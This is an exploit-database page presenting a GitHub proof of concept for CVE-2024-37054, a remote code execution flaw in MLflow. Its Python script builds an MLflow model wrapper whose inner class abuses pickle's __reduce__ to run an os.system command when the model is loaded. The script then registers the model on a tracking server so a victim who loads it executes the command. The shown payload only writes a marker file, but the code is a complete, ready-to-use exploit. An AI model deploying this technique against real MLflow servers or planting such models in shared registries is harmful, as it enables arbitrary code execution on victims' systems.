Exploit database

GH-6dd8cda60567094145060e3485291760

niteeshpujari/cve-2024-37054-mlflow-rce

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-37054

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
niteeshpujari/cve-2024-37054-mlflow-rceRevision 8395c5774d10

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/log_malicious_model.py

Python · 2,169 bytes
# poc/log_malicious_model.py
import mlflow
import os

# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"

class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
    """
    A malicious MLflow model wrapper.
    It doesn't do any real ML work. Its only purpose is to carry the payload.
    """
    def __init__(self):
        # This inner class contains the dangerous __reduce__ method.
        # When an instance of this class is unpickled, __reduce__ is called.
        class CommandRunner:
            def __reduce__(self):
                # This is the payload.
                # It returns the function to run (os.system) and its arguments.
                # The command will print a message and create a file named 'pwned.txt'.
                cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
                return (os.system, (cmd,))

        # The model holds an instance of the class with the payload.
        self.payload = CommandRunner()

    def predict(self, context, model_input):
        # The predict function can be empty or do something trivial.
        # It's not needed for the exploit to work.
        return "This model is a malicious payload."

# --- Main script logic ---
if __name__ == "__main__":
    print(f"[*] Connecting to MLflow server at {MLFLOW_TRACKING_URI}")
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    mlflow.set_experiment("Security Demos")

    print(f"[*] Crafting malicious model '{REGISTERED_MODEL_NAME}'...")
    
    with mlflow.start_run() as run:
        wrapper = MaliciousCodeWrapper()
        
        # Log the model. This is where MLflow pickles the wrapper object,
        # including the malicious payload, and sends it to the server.
        mlflow.pyfunc.log_model(
            artifact_path="model",
            python_model=wrapper,
            registered_model_name=REGISTERED_MODEL_NAME
        )
        print(f"[*] Malicious model has been logged to the server.")
        print(f"[*] Run ID: {run.info.run_id}")
        print(f"[*] Victim can now load '{REGISTERED_MODEL_NAME}' version 1.")